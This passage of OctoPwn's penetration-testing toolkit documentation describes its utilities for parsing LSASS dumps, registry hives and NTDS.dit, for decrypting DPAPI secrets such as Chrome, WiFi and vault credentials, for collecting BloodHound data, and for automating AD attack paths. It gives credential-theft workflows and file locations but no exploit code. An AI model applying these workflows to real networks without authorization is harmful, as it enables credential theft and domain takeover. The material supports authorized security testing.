Problem")](https://www.praetorian.com/advisories/windows-smb-ntlm-reflection-one-hop/). - Zero Networks — [Examining Relay Attacks Through the Lens of CVE-2025-33073](https://zeronetworks.com/blog/examining-relay-attacks-through-the-lens-of-cve-2025-33073). - Synacktiv — *Bypassing Windows authentication reflection mitigations for SYSTEM shells*, [Part 1](https://www.synacktiv.com/publications) / [Part 2](https://www.synacktiv.com/publications) (April 2026 — post-patch bypasses). --- # [Utilities] Overview Source: https://docs.octopwn.com/plugins/utils/index.html # Utilities Overview OctoPwn's **utilities** are everything in the toolkit that **isn't** a network client or a scanner. They cover three broad areas: 1. **Offline analysis & decryption** — parse files you've already collected (LSASS minidumps, registry hives, NTDS.dit, DPAPI artefacts) and turn them into Hub credentials. 2. **AD modelling & exploitation** — collect a domain into a BloodHound-compatible graph, query it, and execute the resulting attack paths edge-by-edge. 3. **Operator helpers** — local password cracking, file hunting across the four supported protocols (SMB / FTP / SFTP / NFS), local PTY shell, plugin runtime, and Azure AD / Entra reconnaissance. The utilities live in the **UTIL** category in the OctoPwn UI. --- ## At a glance ### Offline analysis & decryption - **[PYPYKATZ](pypykatz.md)** — LSASS / registry / NTDS parser, plus one-shot hash calculators (`nt`, `lm`, `msdcc`, `msdcc2`, `kerberos`). - **[DPAPI](dpapi.md)** — the decryption side of the DPAPI workflow: master keys, vaults, credential files, Chrome / WiFi / SecureString / CloudAP PRT. - **[NMAP](nmap.md)** / **[MASSCAN](masscan.md)** — XML report parsers that feed the [Targets window](../../user-guide/target.md). ### AD modelling & exploitation - **[BLOODHOUND](bloodhound.md)** — collect a live AD into a BloodHound-compatible zip with optional SMB-side enrichment (sessions / local groups / registry). - **[NEO4J](neo4j.md)** — query an external Neo4j instance (the one backing BloodHound CE) directly from an OctoPwn session. - **[DOMAIN](domain.md)** — the attack-path engine: load a domain, compute viable / dangerous paths, walk the abusable edges with best-effort cleanup. ### Operator helpers - **[HASHCAT](hashcat.md)** — wrap a local Hashcat binary and crack hashes from the Hub automatically as they appear. - **[SNAFFLER](snaffler.md)** — find interesting files across SMB / FTP / SFTP / NFS, optionally feed matches through an LLM for structured credential extraction. - **[TERMINAL](terminal.md)** — open an interactive `bash` PTY in an OctoPwn window (server / Enterprise build only). - **[ROADTOOLS](roadtools.md)** — Azure AD / Entra reconnaissance (token acquisition, ROADrecon `gather`, CA policy parser, XLS export). - **[PLUGINLOADER](pluginloader.md)** — load and execute custom plugins (the [`OctoPwnPlugin`](pluginloader.md#authoring-plugins) class). - **[IDE](ide.md)** — in-browser editor for authoring plugins, with language-server autocompletion. - **[Python Console](python-console.md)** — one-shot Python evaluation against the live `octopwnobj`. --- ## Choosing the right utility | Goal | Start with | | --- | --- | | I have an LSASS dump / hive / NTDS.dit and want creds out of it | [PYPYKATZ](pypykatz.md) | | I have DPAPI master keys / blobs and want plaintexts | [DPAPI](dpapi.md) | | I need a BloodHound zip of a live domain | [BLOODHOUND](bloodhound.md) | | I have a BloodHound zip and want shortest-path-to-DA + auto exploit | [DOMAIN](domain.md) | | I have a BloodHound CE up and just want to run Cypher | [NEO4J](neo4j.md) | | I want every credential I get auto-cracked | [HASHCAT](hashcat.md) | | I want to find passwords scattered in shares / file servers | [SNAFFLER](snaffler.md) | | I want a local shell next to my OctoPwn project | [TERMINAL](terminal.md) | | I'm doing Azure AD work | [ROADTOOLS](roadtools.md) | | I want to extend OctoPwn with my own logic | [IDE](ide.md) → [PLUGINLOADER](pluginloader.md) | --- ## Tier availability A few utilities are **Enterprise-only** because they either depend on a local subprocess (no WASM equivalent) or wrap features that are part of the Enterprise feature set: - Enterprise-only: `HASHCAT`, `TERMINAL`, `SNAFFLER`, `BLOODHOUND`, `NEO4J`, `DOMAIN`, `PLUGINLOADER`. - Community / Pro: `PYPYKATZ`, `DPAPI`, `NMAP`, `MASSCAN`, `ROADTOOLS`. The IDE and Python Console are part of the OctoPwn UI and are available in every build. Automation utilities (`AUTOPWN`, `AUTOSCANNER`, `AUTOSCANNER2`, `AUTOPWNMACHINE`, `AUTOMATION`, `FLOWGRAPH`) are documented separately under the **Automations** section. --- # [Utilities / Offline analysis & decryption] pypykatz Source: https://docs.octopwn.com/plugins/utils/pypykatz.html # Pypykatz Utility This is OctoPwn's bundled wrapper around [Pypykatz](https://github.com/skelsec/pypykatz) — the Python re-implementation of `mimikatz`. It performs **offline parsing** of credential-bearing files that you've already gathered (LSASS minidumps, registry hives, NTDS.dit) and provides a handful of ad-hoc decryptors and hash calculators. It does **not** dump LSASS or registry hives by itself. To collect those artefacts in the first place, see: - [`SMBREGDUMP`](../attacks/smbregdump.md) / [`SMBREGDUMP2`](../attacks/smbregdump2.md) — remote SMB-side hive dumping (with and without touching disk). - [`DPAPI` attack](../attacks/dpapi.md) — orchestrates SMB-side LSASS / SCCM / DPAPI vault collection; many of its outputs feed straight into the commands below. Every credential discovered by these commands is **automatically added** to the [Credentials Hub](../../user-guide/credentials.md) tagged with the appropriate `stype` (`PASSWORD`, `NT`, `kirbib64`, `DPAPI`, `SHA1`, `AES`, `MSV`, etc.). --- ## Commands ### LSASS #### lsass `lsass(minidumpfile, packages=None)` — parse an LSASS minidump and pull secrets from every supported credential package (`msv`, `wdigest`, `ssp`, `livessp`, `kerberos`, `dpapi`, `cloudap`). Each Kerberos ticket found is turned into a base64 `kirbib64` credential in the Hub; classic password / NT hashes land as `PASSWORD` / `NT`. `packages` is reserved for future per-package filtering — currently the underlying parser is invoked with `packages=['all']` regardless of input. #### registry `registry(system, sam=None, security=None, software=None)` — offline parse of registry hives. The `SYSTEM` hive is mandatory (it holds the boot key / LSA cache encryption keys); the others extract additional secrets: - `SAM` → local user NT hashes - `SECURITY` → LSA secrets, cached domain logons, machine account secrets - `SOFTWARE` → optional, used for some metadata ### NTDS #### ntds `ntds(systemhive, ntdsfile, outfile=auto)` — parse an extracted `NTDS.dit` along with the matching `SYSTEM` hive (needed for the boot key). Streams secrets into the Hub *and* into a CSV file (`outfile`, default `ntds_secrets_<random>.txt`) in the working directory. Includes **password history** when present (`with_history=True` is hard-wired), so historical NT hashes are recovered too — useful for cracking campaigns where users rotate to similar passwords. !!! info "Where do I get NTDS.dit?" Use the [`SMBREGDUMP`](../attacks/smbregdump.md) / [`SMBREGDUMP2`](../attacks/smbregdump2.md) attacks against a Domain Controller (or do a `dcsync` instead — see [`DCSYNC`](../attacks/dcsync.md) — which avoids the file-copy step altogether). ### DECRYPTORS #### gppassword `gppassword(pw_enc_b64)` — decrypt the legacy Group Policy Preferences "cpassword" attribute. Pure local-only, no network calls. #### ofscan `ofscan(encdata_or_file)` — decrypt password-style values found in TrendMicro OfficeScan's `ofcscan.ini`. Accepts either a raw encrypted blob or a path to the file. ### HASHING These are pure local hash calculators — handy when you need to feed a hash directly into another tool without the round-trip of authenticating somewhere first. #### nt NT hash of a plaintext password. #### lm LM hash of a plaintext password. #### msdcc MS Domain Cached Credentials hash, **version 1** (legacy DCC). #### msdcc2 MS Domain Cached Credentials hash, **version 2** (current MS-CACHE2 / DCC2). Default iteration count is `10240` (Windows default); override with the `iteration` argument if you're targeting a non-default config. #### kerberos `kerberos(username, password, domain=None)` — derive the four Kerberos keys (`AES128`, `AES256`, `RC4-MD5`, `3DES`) from a password. AES keys require `domain` because they salt with `<UPPER_DOMAIN><user>` in the canonical case — and that salt **isn't always what you'd expect**: machine accounts use `host<host>.<dnsdomain>`, some SPN-style accounts use `<service>/<host>`, etc. If your AES key doesn't match what you see on the wire, the salt is the first place to check. #### hashes `hashes(username, password, domain=None)` — all of the above in one go. --- ## Limitations and caveats - **No live LSASS dump.** `do_locallsass` is a stub. Use the [`DPAPI` attack](../attacks/dpapi.md) (which orchestrates remote LSASS collection over SMB) or any external dumper of your choice and feed the minidump in via `lsass`. - **NTDS.dit + SYSTEM must be from the same DC.** The boot key is per-machine; the SYSTEM hive of a different host won't decrypt the database. - **All file paths are interpreted in OctoPwn's working directory** (the browser virtual filesystem on the WASM build, real filesystem on Enterprise). Upload your dumps there first. - **Hash calculators are convenience helpers**, not a cracker. For actual cracking, see the [HASHCAT utility](hashcat.md). --- ## See also - [DPAPI utility](dpapi.md) — the analytical layer on top of decrypted master keys (Chrome, WiFi, vault files, securestrings, CloudAP PRT, …). - [DPAPI attack](../attacks/dpapi.md) — automates SMB-side collection of master keys and credential blobs. - [`SMBREGDUMP`](../attacks/smbregdump.md) / [`SMBREGDUMP2`](../attacks/smbregdump2.md) — collect the registry hives this utility consumes. - [HASHCAT utility](hashcat.md) — feed the hashes from `nt` / `msdcc2` / the LSASS / NTDS dumps directly into Hashcat. --- # [Utilities / Offline analysis & decryption] dpapi Source: https://docs.octopwn.com/plugins/utils/dpapi.html # DPAPI Utility This utility performs the **offline-decryption** half of the DPAPI workflow. It loads, caches, and decrypts the various Windows DPAPI artefacts — master keys, credential / vault files, Chrome stores, WiFi configs, PowerShell SecureStrings, CloudAP PRT secrets, and so on. It is the analytical companion to the [**DPAPI attack**](../attacks/dpapi.md) — the attack does the **collection** side (SMB-side LSASS dumping, master-key file harvesting, SCCM / WMI Object DB extraction, registry hive collection); the utility does the **decryption** side on whatever the attack (or any other workflow) handed you. You will frequently run them in sequence: attack → utility → cracked credentials in the Hub. ## Deep-dive In order to decrpyt a file/blob/data of any kind you must obtain a masterkey. The Masterkey can be obtained either from the LSASS process, or by decrypting a masterkeyfile. LSASS is straightforward, successfully dumping it will give you all the plaintext masterkeys with the appropriate GUID. But if you can't use LSASS, you have to obtain the masterkey file, and decrypt it with an appropriate key. (too many keys, I know...) Masterkey files can be located in `%APPDATA%\Microsoft\Protect\%SID%` for each user or `%SYSTEMDIR%\Microsoft\Protect` for the SYSTEM user. But how to decrypt them? A masterkeyfile can contain multiple different keys, a masterkey is one of them. The masterkey is stored encrypted in the masterkeyfile, and is encrypted with a key that can be either a key stored in registry (LSA secrets) or not. In case the LSA DPAPI keys are not valid, you will need to use the NT hash of the user's password or the user's plaintext password itself. BUT! deriving the key from the password and the SID will yield 3 different keys, and so far noone could tell what key is the correct one to be used. The solution for decrypting a masterkey in the mastereky file: harvest as many key candidates as possible and try to decrypt the masterkey. Much to our luck, verifying the signature data after decryption can tell us if the decrpytion was successful, so we can tell if the masterkey decrypted correctly or not. But you may ask: I see a lot of different masterkey files, how can I tell which one is used for my `<credential file/vault files/blob>`. The answer: a masterkeyfile stores the GUID of the keys it stores (eg. the masterkey), and so does your `<secret>` data structure for the appropriate key. Therefore it's easy to tell which file to decrypt for a given `<secret>`. BUT WAIT! THERE IS MORE! DPAPI is also used to decrypt stored secrets in Windows Vault and Credential files. ### Credential files: 1. standalone file, inside it there is a DPAPI_BLOB. 2. DPAPI_BLOB can be decrypted with the corresponding masterkey 3. After decryption you'll find a CREDENTIAL_BLOB structure. 4. The CREDENTIAL_BLOB structure has the plain-text secrets, but it's not possible to tell in which file they are stored. You'll need to check them by hand :) ### Vault files (VCRD and VPOL) VCRD files hold the secrets encrypted. The decryption key is stored in the VPOL file, but also encrypted. The VPOL file's decryption key is a masterkey. The masterkey is stored in a Masterkeyfile... 1. Need to find the masterkey to decrypt the VPOL file 2. VPOL file will give two keys after successful decryption 3. There is no way to tell (atm) which key will be the correct one to decrypt the VCRD file 4. The VCRD file has a lot of stored secrets, called attributes. Each attribute is encrypted with one of the keys from the VPOL file 5. For each attribute: for each key: decrypt attribute. 6. Check manually if one of them succeeded because there are no integrity checks, so no way to tell programatically which key worked. ### Path to decrypt stuff Sub-sections are options of how to get the keys 1. pre_masterkey: - from user password and SID - from user NT hash and SID - from live registry SYSTEM cached DPAPI key or SAM cache NT hash and SID - from offline registry hives 2. masterkey: - from masterkeyfile + pre_masterkey - from live LSASS dump - from offline LSASS dump 3. credential file: - masterkey + credential_file 3. VPOL file: - masterkey + VPOL file 3. VCRED file: - VPOL file + VCRED file 3. DPAPI_BLOB: - masterkey ## Tips All `pre-key` and `masterkey` data will be automatically cached in the session to help you in the secrets extraction phase. To perform any meaningful decryption, first you will need to generate `pre-keys`, except if you have already decrypted masterkey secrets in the form of LSASS dump or you are a wizard Harry and from some unknown source you managed to get the keys (pls let me know how). You can get `pre-keys` by either using user SID and password or NT hash. Chances are that you have some `pre-key` material already stored in the `Credentials Window` in this case just smash the `loadcreds` button. In case you have some not stored creds, use the commands in the `PREKEY` command group. Now that you have `pre-keys` you can grab a `Masterkey file` and try to decrypt the `masterkey` using the `masterkeys` or `masterkey` command. The former will automatically search all masterkey files and try to decrypt if with all the `pre-keys` cached from before. In case you have successfully decrypted a masterkey the key will be cached. If you have masterkeys cached, then you can try to decrypt some actual secrets with the other command groups. Those commands do not need any masterkey specification because the blobs they are decrypting already contain the masterkey's ID which will be looked up in the hidden cache. ## Commands As usual, all functionalities will be discussed in command groups which logically group commands of similar nature. ### LOADCREDS #### loadcreds Loads all useble credentials from the `Credentials Window`. #### minidump Parses an LSASS minidump file to extract masterkeys. #### masterkeys Searches the given path for Masterkey files (filenames with GUID format) and tries to decrypt them all with previously loaded `pre-keys` ### PREKEY #### clearprekeys Clears the `pre-key` cache #### prekey_nt Generates pre-keys from user's SID and NT hash #### prekey_password Generates pre-keys from user SID and plaintext password #### prekey_registry Fetches pre-keys from registry hives ### MASTERKEY #### clearmasterkeys Clears the `masterkey` cache #### masterkey Tries to decrypt a Maskterkey file using all cached pre-keys ### BLOB #### blob Decrypts a DPAPI blob (in hex please) using the exisiting masterkey cache #### describe Shows metadata of the DPAPI Blob data without performing decryption ### BROWSER #### chrome Decrypts credentials stored by Google Chrome using the exisiting masterkey cache. ### WIFI #### wifi Decrypts Windows stored WiFi passwords using the exisiting masterkey cache ### VPOL/VCRED/CREDENTIAL #### vpol Decrypts .vpol files using the exisiting masterkey cache #### vcred Decrypts .vcred files using the exisiting masterkey cache #### credential Decrypts .cred files using the exisiting masterkey cache ### CLOUDAP #### cloudapkd `cloudapkd(prt_full=None)` — decrypts a CloudAP PRT (Primary Refresh Token) secret using the cached master keys. - Called with no argument: walks every `PRT`-typed credential in the Hub and tries to decrypt each one. - Called with an integer: looks up that credential ID and decrypts its secret. - Called with a string: treated as the inline PRT JSON / hex blob. The recovered clear key is stored as a `PRT-CLEARKEY` credential in the Hub. If the input PRT JSON also contains the raw `Prt` field, that's printed too — that's what you feed into the [ROADtools utility](roadtools.md) for downstream Azure AD work. ### SECURESTRING #### securestring Decrypts Powershell SecureString blob using the exisiting masterkey cache. Accepts either a hex-encoded blob or a path to a file containing one. --- ## See also - [**DPAPI attack**](../attacks/dpapi.md) — the collection side. Dumps LSASS, master-key files, SCCM credential vaults, and the WMI Object DB over SMB; everything it produces is consumable by this utility. - [Pypykatz utility](pypykatz.md) — the related offline-parser for LSASS minidumps and registry hives. Many master keys end up there first. - [ROADtools utility](roadtools.md) — once you've decrypted a CloudAP PRT, feed the `Prt` value into ROADtools for Azure AD reconnaissance. - [Credentials Hub](../../user-guide/credentials.md) — where every recovered pre-key, master key, and decrypted secret is cached. --- # [Utilities / Offline analysis & decryption] nmap Source: https://docs.octopwn.com/plugins/utils/nmap.html # Nmap Utility The **Nmap** utility parses an [Nmap](https://nmap.org/) XML report and lets you query the parsed result, list services, and feed the discovered hosts into the [Targets window](../../user-guide/target.md). It does **not** run Nmap itself — you bring the XML, it does the parsing. It is the simpler twin of the [Masscan utility](masscan.md) and works with both classic Nmap XML and the structurally-equivalent `nmap -sV --output xml` variants. --- ## Commands ### GENERIC #### load `load(filepath)` — load an Nmap XML file. The path must be reachable from the OctoPwn runtime (the browser virtual filesystem on the WASM build, or a real path on the server build). Subsequent commands operate on the last-loaded file. #### hosts `hosts(to_print=True)` — list every host entry found in the XML by *any* address (IPv4, IPv6, MAC). Prints when `to_print=True` (default), always returns the list to the caller — useful from automation/plugins. #### ips `ips(to_print=True)` — same idea but de-duplicates and emits only the IPv4 and IPv6 addresses, dropping MAC addresses and hostnames. #### ports `ports(to_print=True)` — list every `IP:port` tuple. One line per open port per host. #### services `services(to_print=True)` — render a table with columns `addr`, `port`, `protocol`, `service`, `version` for every open port across every host. This is the most useful view for triage — it surfaces fingerprinted services / versions at a glance. #### addtargets `addtargets()` — register every host that has at least one address in the [Targets window](../../user-guide/target.md). Each target gets the host's discovered ports attached and `source = NMAP:<filepath>` so the origin is traceable in the Hub. #### storexml `storexml(filepath)` — alternative bulk import path used by the same underlying machinery as the [Targets window](../../user-guide/target.md) "Import Nmap" button. Use this when you want the full target-importer behaviour from the CLI rather than the lighter-weight `addtargets` path. --- ## Tips - For everyday use, prefer **`services`** over `ports` — knowing a port is open is rarely as useful as knowing it speaks SSH 9.7p1 or MSSQL 2019. - `addtargets` only adds hosts with at least one open port. Nmap files that contain unreachable / dropped hosts are filtered automatically. - The utility holds the parsed scan in memory until `load` is called again — there's no implicit reset between commands. --- ## See also - [Masscan utility](masscan.md) — same shape for Masscan XML. - [Targets window](../../user-guide/target.md) — the GUI way to import the same XML, plus per-target review before commit. --- # [Utilities / Offline analysis & decryption] masscan Source: https://docs.octopwn.com/plugins/utils/masscan.html # Masscan Utility !!! warning "Deprecated" The standalone Masscan utility is **deprecated**. Use the Masscan importer in the [Targets window](../../user-guide/target.md) instead — it supports the same XML format, plus the GUI gives you per-target review before committing to the project's target list. The legacy utility parses a [Masscan](https://github.com/robertdavidgraham/masscan) XML output file and can populate the [Targets window](../../user-guide/target.md) with the discovered hosts (with their open ports attached). It does not perform any scanning itself — Masscan must be run separately and its XML transferred into OctoPwn's working directory first. --- ## Commands ### GENERIC #### load `load(filepath)` — load a Masscan XML file. The path must be reachable from the OctoPwn runtime (i.e. inside the browser virtual filesystem on the WASM build, or a real path on the server build). #### addtargets `addtargets()` — for every host in the loaded scan, register a [Target] (../../user-guide/target.md) with the discovered open ports attached. Hostname is left blank (Masscan output does not contain hostnames). The target's `source` field is set to `MASSCAN:<filepath>` so the origin is traceable in the Hub. --- ## See also - [NMAP utility](nmap.md) — same idea but for richer Nmap XML output (with service / version detection and service-aware listings). - [Targets window](../../user-guide/target.md) — the recommended way to import Masscan results going forward. --- # [Utilities / AD modelling & exploitation] bloodhound Source: https://docs.octopwn.com/plugins/utils/bloodhound.html # BloodHound Utility The **BloodHound** utility is OctoPwn's collector for [BloodHound CE](https://github.com/SpecterOps/BloodHound) — it produces a **BloodHound-compatible zip** from a live AD environment that can be ingested directly into BloodHound CE / Legacy. It is the spiritual replacement of the older JackDaw util (which used a SQLite DB and its own graphing layer); the new BLOODHOUND util drops the OctoPwn-specific DB and defers analysis to BloodHound itself. Three things differentiate the OctoPwn collector from a standalone BloodHound ingestor: 1. **It uses your existing OctoPwn sessions** — pass in a credential ID, target ID, optional proxy ID, and the util builds an internal LDAP / SMB factory from your project's Credentials and Targets. No separate credential plumbing. 2. **SMB enrichment is split** into a sessions phase (`collect_smb_sessions`) and a registry-groups phase (`collect_smb_groups`) so you can run the cheap LDAP-only collection first and decide whether you want the noisy, time-consuming SMB enrichment afterwards. 3. **Trust-following is built in** — `follow_trusts=True` walks the trust graph during LDAP collection, so a single command captures the reachable forest, not just the seed domain. --- ## How it works The flow has three independent phases. `collect_all` orchestrates all three; you can also call them one at a time for finer control. ### Phase 1 — LDAP collection (`collect_ldap`) Runs [`MSLDAPDump2Bloodhound`](https://github.com/skelsec/msldap) against the LDAP target. Produces the canonical BloodHound zip with users, groups, computers, OUs, GPOs, ACLs, trusts, etc. The zip path is stored in the util's `zipfilepath` parameter for the next phases. Honours `follow_trusts` — when enabled, the collector queries trusted domains' DCs over the same authenticated LDAP session and adds them to the zip. Disable it for single-domain collections (faster, smaller zip, fewer potential errors against unreachable trust partners). ### Phase 2 — SMB sessions (`collect_smb_sessions`) Reads the computer / user objects out of the LDAP zip, fires an [`SMBSESSION`](../scanners/smbsession.md) scanner against every computer to enumerate active logon sessions over SMB, then **rewrites** the computer JSON entries inside the zip to add the `Sessions: { Collected: true, Results: [...] }` block BloodHound expects. This is the noisy half — every host is touched over SMB. Tune `worker_count` to match the environment and the operator's risk tolerance. ### Phase 3 — SMB local groups (`collect_smb_groups`) For every computer in the zip, opens an SMB connection (using the configured credential and proxy) and queries the **remote registry** for: - Active registry sessions → `RegistrySessions` - Local BUILTIN groups and members → `LocalGroups` - Per-well-known group memberships → `LocalAdmins` (S-1-5-32-544), `RemoteDesktopUsers` (555), `DcomUsers` (562), `PSRemoteUsers` (580) The zip is rewritten in place again, this time injecting the per-host `LocalGroups` / `LocalAdmins` / `RemoteDesktopUsers` / `DcomUsers` / `PSRemoteUsers` / `RegistrySessions` blocks. ### Targets bonus — `addtargets` Once you have a BloodHound zip (yours or someone else's) you can call [`addtargets`](#addtargets) to import every computer object as a target into the project's [Targets window](../../user-guide/target.md) — handy for prepping a project for further enumeration / attacks. --- ## Parameters | Parameter | Default | Purpose | | --- | --- | --- | | `hidewindows` | `True` | Hide the auto-created LDAP / SMB sessions in the GUI. | | `zipfilepath` | none | Path to the BloodHound zip file. Set automatically by `collect_ldap` / `load`; can be overridden manually. | | `smbsessionsid` | none | Reuse an existing `SMBSESSION` scanner ID for `collect_smb_sessions`. Auto-created if unset. | --- ## Commands ### LOAD #### load `load(zipfilepath)` — load an existing BloodHound zip into the util **without re-collecting**. Use this when you have a zip from a previous run (or from another tool) and just want to enrich it with SMB sessions / groups, or to add its computers as targets. The path is normalised to OctoPwn's working directory, validated as a real BHZip archive, and stored as the session `zipfilepath` parameter for subsequent commands. ### ENUM #### addtargets `addtargets()` — populate the [Targets window](../../user-guide/target.md) with every computer in the loaded zip, attaching the appropriate `source = BLOODHOUND:<zip>` provenance. ### COLLECT #### collect_all `collect_all(cid, tid, smbcid=None, pid=None, follow_trusts=True, ldapprotocol='LDAP', ldapauthproto='NTLM', ldapkrbetypes=None, smbprotocol='SMB', smbauthproto='NTLM', smbkrbetypes=None, worker_count=100)` — run all three phases in order. - `cid` / `tid` — credential and target IDs for LDAP. - `smbcid` — credential ID for SMB (defaults to `cid` if unset). - `pid` — proxy ID; passed to both LDAP and SMB factories. - `ldapprotocol` — `LDAP`, `LDAPS`, or `LDAPSTARTTLS`. - `smbprotocol` — `SMB`, `SMB2`, or `SMB3`. (`SMB` is "auto" — the same meaning as in the [SMB client](../clients/smb.md), not "SMB1".) - `ldapauthproto` / `smbauthproto` — `NTLM`, `KERBEROS`, etc. — anything the underlying `asyauth` library accepts. - `ldapkrbetypes` / `smbkrbetypes` — comma-separated Kerberos etypes if you need to pin them. - `worker_count` — concurrency for the SMB phases (sessions and groups). 100 is aggressive; halve it for fragile networks. #### collect_ldap Phase 1 only. Same arguments as `collect_all`, minus the SMB-specific ones. Returns the path to the produced zip and stores it in `zipfilepath`. #### collect_smb_sessions Phase 2 only. Requires `zipfilepath` to be set (either by a previous `collect_ldap` or by `load`). Re-uses an `SMBSESSION` scanner if `smbsessionsid` is set, otherwise creates one transparently. #### collect_smb_groups Phase 3 only. Same prerequisite — `zipfilepath` must be set. Walks the zip, hits each computer's remote registry, rewrites the zip with the new `LocalGroups` / `Sessions` / etc. blocks. --- ## Operational notes - **Trust-following can be a footgun.** A misconfigured trust target that the operator has no creds for will produce errors during LDAP collection but the run continues. Watch the session output if you're collecting in a multi-forest environment. - **The zip is rewritten in place.** Phases 2 and 3 produce a tmp zip and atomically replace the original. If you want to keep the LDAP-only zip alongside the enriched one, copy `zipfilepath` aside before running the SMB phases. - **Hide-windows defaults to true** so a `collect_all` does not litter your GUI with auto-created LDAP / SMB sessions. They still exist in the project (and in the Hub) — just collapsed. - **`SMBSESSION` re-use.** Setting `smbsessionsid` lets you reuse a scanner with custom timeouts / worker counts that you've already tuned. - **Output goes to the working directory.** The zip filename is generated by the underlying `MSLDAPDump2Bloodhound` (timestamped) and stored as `zipfilepath`; copy it out of the project if you need to take it elsewhere. --- ## Limitations and caveats - **No support for AzureHound output.** This util is purely an on-prem AD collector. Use [ROADtools](roadtools.md) for the Azure / Entra side. - **No certificate-services collection** beyond what's already in `MSLDAPDump2Bloodhound` (which does cover ADCS templates and CAs). ADCS-specific reconnaissance is handled by the [`ESC1`](../attacks/esc1.md) / [`ESC4`](../attacks/esc4.md) attack modules. - **No GPO enumeration over SMB.** GPOs are picked up via LDAP only; the GPP `cpassword` use-case is covered by [`gppassword`](pypykatz.md#gppassword) on a manually-fetched GPO XML. - **Not safe to run against the same zip from multiple sessions.** Phases 2 and 3 do read-modify-write of the zip and will race. Sequence them or copy the zip first. --- ## See also - [Neo4j utility](neo4j.md) — once the zip is ingested into BloodHound CE's Neo4j, query it without leaving OctoPwn. - [DOMAIN utility](domain.md) — uses the BloodHound zip for shortest-path + edge-aware exploitation orchestration (no Neo4j required). - [`SMBSESSION` scanner](../scanners/smbsession.md) — what `collect_smb_sessions` drives under the hood. - [Targets window](../../user-guide/target.md) — destination for the `addtargets` command. - [BloodHound CE](https://github.com/SpecterOps/BloodHound) — what consumes the produced zip. --- # [Utilities / AD modelling & exploitation] neo4j Source: https://docs.octopwn.com/plugins/utils/neo4j.html # Neo4j Utility The **Neo4j** utility is a thin OctoPwn-side client for an **external Neo4j instance** — typically the one backing a [BloodHound CE](https://github.com/SpecterOps/BloodHound) deployment. It lets an analyst run arbitrary Cypher queries (or BloodHound path queries) without leaving the OctoPwn session and without context-switching to the BloodHound web UI for quick checks. It is **not** a graph-store of its own. It does not import data, ingest BloodHound zip files, or persist anything in OctoPwn — it is purely a query front-end. The data must already be loaded into Neo4j by something else (typically the BloodHound CE backend, populated by the [BLOODHOUND utility](bloodhound.md) or the [`SNAFFLER`](../scanners/snaffler.md)-collected zips). --- ## How it differs from the BloodHound utility | Feature | `BLOODHOUND` util | `NEO4J` util | | --- | --- | --- | | Collects data from a live AD | yes | no | | Produces BloodHound-compatible zip | yes | no | | Sends data to a Neo4j instance | indirectly (via BH ingestor) | reads only | | Runs Cypher queries | no | yes | | Returns BloodHound-style paths | no | yes (`querypath`) | Use **BLOODHOUND** to *create* the graph; use **NEO4J** to *query* it on the fly from inside an OctoPwn session. --- ## Connectivity model Because OctoPwn runs in the browser (WASM) or in a server context that does not by default have arbitrary outbound access, Neo4j has to be reachable **from the runtime that hosts OctoPwn**: - **Pro / WASM build** — the Neo4j Bolt URL is reached by the WSNet proxy. It must therefore be reachable from the host running the WSNet daemon (often `localhost:7687` on the analyst's workstation when BloodHound CE is running next to OctoPwn). - **Enterprise / server build** — Bolt URL must be reachable from the server. Same `localhost:7687` story when BloodHound CE is co-located. There is no built-in proxy / pivot path for Bolt — if the Neo4j instance is behind a firewall, expose it locally first. --- ## Parameters | Parameter | Default | Purpose | | --- | --- | --- | | `url` | `bolt://localhost:7687` | Bolt URI. `bolt+s://...` works for TLS. | | `username` | `neo4j` | Database user. | | `password` | `mynewpassword` | Database password. | | `threshold` | `5000` | Hard cap on rows returned per query. Queries that exceed this are aborted unless invoked with `force=True`. | The defaults match the documented BloodHound CE quick-start install — change them for any production setup. --- ## Commands ### GENERIC #### connect `connect(url, username, password, threshold)` — open the Bolt session and run a `RETURN 1 AS ok` smoke test. If the smoke test fails (auth wrong, instance down, wrong protocol) the session does **not** transition to connected and the error is printed. Any of the four arguments left empty falls back to the corresponding session parameter, so a parameterised session can simply call `connect`. #### disconnect Close the Bolt session. Idempotent — calling on an already-disconnected util returns `True`. ### QUERY #### query `query(query, force=False)` — run an arbitrary Cypher query. Result is returned as a JSON-serialised list of records and printed in the session window. If the result set would exceed `threshold` rows, the query is **rejected** to protect the browser from memory pressure. Pass `force=True` to bypass the guard for queries you've already sized up. Example: ```cypher MATCH (u:User {enabled: true}) RETURN u.name, u.description ``` #### querypath `querypath(query, force=False)` — run a Cypher query that returns **paths** (`MATCH p = ...`). Results are post-processed into BloodHound-style step arrays (node-edge-node-edge-...) suitable for the same downstream consumers as the [DOMAIN utility](domain.md)'s `pathto*` commands. Example: ```cypher MATCH p = shortestPath((u:User {name: 'BOB@CONTOSO.LOCAL'})-[*1..10]->(:Group {name: 'DOMAIN ADMINS@CONTOSO.LOCAL'})) RETURN p ``` `force` semantics are identical to `query`. --- ## Limitations and caveats - **No write protection** — the util will happily run `DELETE` / `DETACH DELETE` queries. There is no read-only enforcement on the OctoPwn side; if you need that, configure a read-only Neo4j user. - **No schema introspection** — there are no helpers to list labels, relationship types, or properties. Use the BloodHound web UI or the Neo4j browser for exploration; use this util to *execute* known queries. - **Threshold is row count, not byte count.** A query returning 100 huge paths can still bog the session down — use `LIMIT` in the query itself. - **Single connection per session.** Calling `connect` while already connected raises an error; `disconnect` first. --- ## See also - [BLOODHOUND utility](bloodhound.md) — the *collection* side: turns an AD domain into a BloodHound zip ready for ingestion into BloodHound CE (which in turn populates the Neo4j you connect to here). - [DOMAIN utility](domain.md) — uses the BloodHound graph (loaded from a zip, not from Neo4j) to compute paths and orchestrate end-to-end ACL-based attacks. - [BloodHound CE](https://github.com/SpecterOps/BloodHound) — the upstream graphing project; install it locally and point this util at its Neo4j. --- # [Utilities / AD modelling & exploitation] domain Source: https://docs.octopwn.com/plugins/utils/domain.html # Domain Utility The **DOMAIN** utility is OctoPwn's **AD attack-path engine**. It loads a domain model (from a live LDAP session and/or a BloodHound zip) and on top of that model offers two things: 1. **Path queries** — shortest-path / all-paths / path-to-DA, returned in BloodHound-compatible step form, with attack-plan annotations marking which edges are *viable* (we know how to abuse them) and which are *dangerous* (would burn the target if traversed). 2. **Edge exploitation** — given a source SID and a target SID with a known abusable edge between them, the util will execute the attack end-to-end using existing OctoPwn primitives (LDAP modifications, targeted kerberoasting, ShadowCreds, ReadLAPS, DCSync, …) and then **roll back** any reversible changes (DACL restoration, owner restoration, group membership removal). It is the orchestration layer that ties [BLOODHOUND](bloodhound.md), [LDAP](../clients/ldap.md), and the various per-attack modules ([`SHADOWCREDS`](../attacks/shadowcreds.md), [`KERBEROAST`](../attacks/kerberoast.md), 